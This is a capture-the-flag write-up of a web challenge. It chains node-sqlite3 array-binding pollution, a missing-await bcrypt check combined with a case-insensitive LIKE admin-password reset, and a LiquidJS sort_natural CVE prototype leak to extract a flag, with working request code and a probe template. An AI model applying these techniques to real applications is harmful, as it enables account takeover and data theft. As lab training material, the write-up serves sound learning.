Note
Register with email as an array so node-sqlite3 shifts bindings and leaves verification_code NULL (auto-verified). A missing await on bcrypt.compare plus a case-insensitive LIKE lets ADMIN reset the real admin's password. Then CVE-2026-39412 (LiquidJS sort_natural) leaks the prototype-hidden flag via a sorting side-channel.
Thank You Javascript — sqlite3 array-binding + missing-await bcrypt → LiquidJS sort_natural prototype leak
CTF: Plfanzen 2026 · Category: Web (server-side) · Author: Jorian · 35 solves
Challenge overview
An Express app that's a homage to JavaScript's quirks. The flag lives on the prototype of a Flag
class; the only place a Flag instance is exposed is the admin-only /debug-template, which renders an
attacker-supplied LiquidJS template with a fresh Flag() in scope:
app.post("/debug-template", async (req, res) => {
if (!res.locals.user?.is_admin) return res.status(400).send("You must be admin to debug templates");
const flag = new Flag();
res.send(await liquid.parseAndRender(req.body.template, { flag }));
});
LiquidJS runs with ownPropertyOnly: true (default), so flag.name is undefined — normal access
won't walk the prototype. Only the liquidjs version is pinned (10.25.3), hinting at a CVE for the
final step. So the plan: become admin → CVE to read the prototype.
Step 1 — auto-verify via node-sqlite3 array-binding pollution
Registration inserts with four placeholders and a server-generated verification_code; login refuses
accounts where verification_code !== null, and there's no way to learn the code:
await db.runAsync(
"INSERT INTO users (email, username, password_hash, verification_code) VALUES (?, ?, ?, ?)",
email, username, password_hash, verification_code);
No type checks on the body. node-sqlite3 has a quirk: if the first bind argument is an array, it expands that array into the placeholders and ignores the rest:
// node-sqlite3 Statement::Bind
if (info[start].IsArray()) {
auto array = info[start].As<Napi::Array>();
for (int i = 0, pos = 1; i < length; i++, pos++)
baton->parameters.emplace_back(BindParameter(array.Get(i), i + 1));
} // subsequent scalar args dropped
So send email as a 3-element array — it fills email, username, password_hash, leaving the 4th
placeholder (verification_code) unbound → SQLite defaults it to NULL. The account is "verified" on
creation:
requests.post(URL+"/register", json={
"email": ["ADMIN", "ADMIN", "<bcrypt-or-anything>"], # array shifts the bindings
"username": "ADMIN", "password": "x"}) # body username/password ignored by the insert
SQLite's UNIQUE is BINARY (case-sensitive), so
ADMIN≠adminand the insert succeeds;LIKE(next step) is case-insensitive — that asymmetry is the whole trick.
Step 2 — reset the real admin's password
/update-password doesn't need a verified account and has two bugs:
const user = await db.getAsync("SELECT * FROM users WHERE username LIKE ?", username); // bug 2
if (bcrypt.compare(old_password, user.password_hash)) { // bug 1
const h = await bcrypt.hash(new_password, 10);
await db.runAsync("UPDATE users SET password_hash = ? WHERE id = ?", h, user.id);
}
- Missing
awaitonbcrypt.compare. It returns a Promise (always truthy), so theifalways passes regardless ofold_password. LIKEinstead of=. SQLiteLIKEis case-insensitive andget()returns the first row in ROWID order. Logged in asADMIN, sendingusername=ADMINmatches the originaladminrow first → we rewrite the real admin's password.
s.post(URL+"/update-password", data={"username":"ADMIN","old_password":"whatever","new_password":"pwned"})
# then log in as admin / pwned
Step 3 — CVE-2026-39412: leak the prototype flag via sort_natural
LiquidJS 10.25.3 is vulnerable to CVE-2026-39412 (GHSA-rv5g-f82m-qrvv): sort_natural reads the
sort key with bracket notation, which walks the prototype chain, ignoring ownPropertyOnly:
(lhs, rhs) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString]) // prototype-walking
So sorting an array containing the Flag instance by name orders it by the prototype's flag value —
the position of Flag in the sorted output is a side-channel for the secret. Unlike the advisory PoC
we can't write JS to build probe objects; we only control the template. group_by_exp manufactures
objects whose name we control (it sets each group's name to the key, and items to the originals):
{%- assign chars = '0,1,2,3,4,5,6,7,8,9,_,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,}' | split: ',' -%}
{%- assign probes = chars | group_by_exp: 'char', "'plfanzen{' | append: char" -%}
{%- assign all = probes | push: flag -%}
{%- assign sorted = all | sort_natural: 'name' -%}
{%- for x in sorted %}|{{ x.items }}{% endfor -%}|
Each probe group's name is plfanzen{<char>; sorting interleaves the real Flag (sorted by its full
prototype name) among them. Flag has no .items, so it prints empty — the || gap marks where it
landed, and the char just before the gap is the next flag character. Re-run, appending known chars
into the group_by_exp expression, to binary-walk the flag:
|0|1|2|3|4|5|6|7|8|9|_|a|b|c|d|e|f||g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|}|
^^ -> next char is 'f'
(Use https://liquidjs.com/playground.html to craft the template.) Looping this yields:
Flag: plfanzen{w1th_4n_4rr4y_0f_3xpl01ts_1_pr0m1s3_y0u_w1ll_l1k3_th1s_s0rt_0f_th1ng}
Takeaways (generalized techniques)
- node-sqlite3 array-binding pollution: passing an array as the first bind argument expands it
across placeholders and ignores later args — shift the bindings to leave a trailing placeholder
unbound (→ NULL). Great for nulling a
verification_code/is_admin-style column. No type checks on JSON body = the enabler. - Missing
awaiton an async predicate (if (bcrypt.compare(...))) → a Promise object that is always truthy → auth check always passes. LIKEinstead of=for identity lookups is case-insensitive; combined with case-sensitive UNIQUE you can register a near-duplicate (ADMIN) that resolves to the privileged row (admin).- LiquidJS
sort_natural(CVE-2026-39412) bypassesownPropertyOnlyby reading the sort key via prototype-walking bracket access. With only template control,group_by_exp/group_bymanufacture objects with attacker-controlledname, turning sort order into a char-by-char prototype-leak side-channel.
Sources & references
- Challenge source:
plfanzen2026/web/thank_you_javascript - CVE-2026-39412 advisory: https://github.com/advisories/GHSA-rv5g-f82m-qrvv
- LiquidJS
group_by_exp: https://liquidjs.com/filters/group_by_exp.html